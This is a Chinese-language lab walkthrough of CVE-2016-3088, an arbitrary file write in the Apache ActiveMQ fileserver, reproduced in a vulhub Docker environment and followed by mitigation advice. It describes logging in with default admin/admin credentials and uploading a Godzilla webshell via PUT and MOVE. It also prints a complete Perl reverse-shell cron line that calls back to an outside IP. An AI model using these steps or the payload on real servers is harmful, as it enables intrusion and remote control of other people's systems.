漏洞原理
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件,由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp)(PUT请求),同时支持移动文件(MOVE请求),所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞
ActiveMQ的web控制台分为三个应用
需要登录后使用:
- admin,管理员页面
- api,接口
无需登录即可使用:
- fileserver,储存文件的接口
fileserver是一个 RESTful API 接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
所以,ActiveMQ进行了以下改动
- 在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在
conf/jetty.xml
中开启之) - 在5.14.0版本以后,彻底删除了fileserver应用
在测试过程中,可以关注ActiveMQ的版本,避免走弯路
影响版本
Apache ActiveMQ:version < 5.14.0
漏洞复现
一、环境搭建
vulhub已有环境,可以通过vulhub进行复现
git clone https://github.com/vulhub/vulhub.git
- 进入到漏洞目录下
cd /path/to/vulhub/activemq/CVE-2016-3088
- 执行命令启动复现环境
docker compose build
docker compose up -d
环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中
访问http://your-ip:8161/看到web页面,说明环境已成功运行
二、漏洞复现
利用方式一:写入webshell
(一) 弱口令登陆
点击Manage ActiveMQ broker
,输入默认的弱口令admin/admin登录
访问/admin/test/systemProperties.jsp
下可以看到测试环境和web框架的页面,能看到很多信息
(二) 上传webshell
抓包进行修改,PUT方法进行任意文件上传,这里我们上传一个哥斯拉的Shell到fileserver路径下
返回状态码204,成功上传
访问上传文件查看是否上传成功
(三) MOVE到可执行路径下
由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录
可以解析jsp文件的路径有:
/opt/activemq/webapps/api
/opt/activemq/webapps/admin
这里我们把它上传到/opt/activemq/webapps/admin
路径下
哥斯拉尝试连Shell,注意需要加上Authorization
标头
成功连上Shell
利用方式二:利用cron反弹shell
权限要求:运行ActiveMQ的用户需具备root权限(否则无法写入/etc/cron.d/
)
(一) 上传cron配置文件
返回204,说明写入成功
*/1 * * * * root perl -e 'use Socket;$i="172.21.39.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh");}'
这里反弹shell使用perl,用bash有点问题
注意一定要换行,而换行一定要\n(LF),不能是\r\n(CRLF),否则crontab执行会失败
(二) MOVE到/etc/cron.d目录下
返回204,说明移动成功,接下来就是等待反弹shell
519415381f3d为docker容器的主机名,成功连上shell
漏洞原理深入分析
具体代码分析可以看这篇,本文主要参考的也是这篇文章
Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析-腾讯云开发者社区-腾讯云
利用姿势
- 写入webshell
-
- 优点:门槛低更方便
- 缺点:fileserver不解析jsp,admin和api两个应用都需要登录才能访问
- 写入cron或ssh key等文件
-
- 优点:直接反弹拿shell,比较方便
- 缺点:需要root权限
- 写入jar或jetty.xml等库和配置文件
-
- 需要知道activemq的绝对路径
本文仅演示了写入webshell和利用cron反弹shell,其他利用方式可以自己尝试
理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell
有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点
防御措施
- 升级:使用ActiveMQ ≥5.14.0(彻底移除fileserver)
- 禁用fileserver:在conf/jetty.xml中注释或删除fileserver配置(适用于5.12.x~5.13.x)
- 降权运行:禁止以root用户运行ActiveMQ,限制写入敏感目录的能力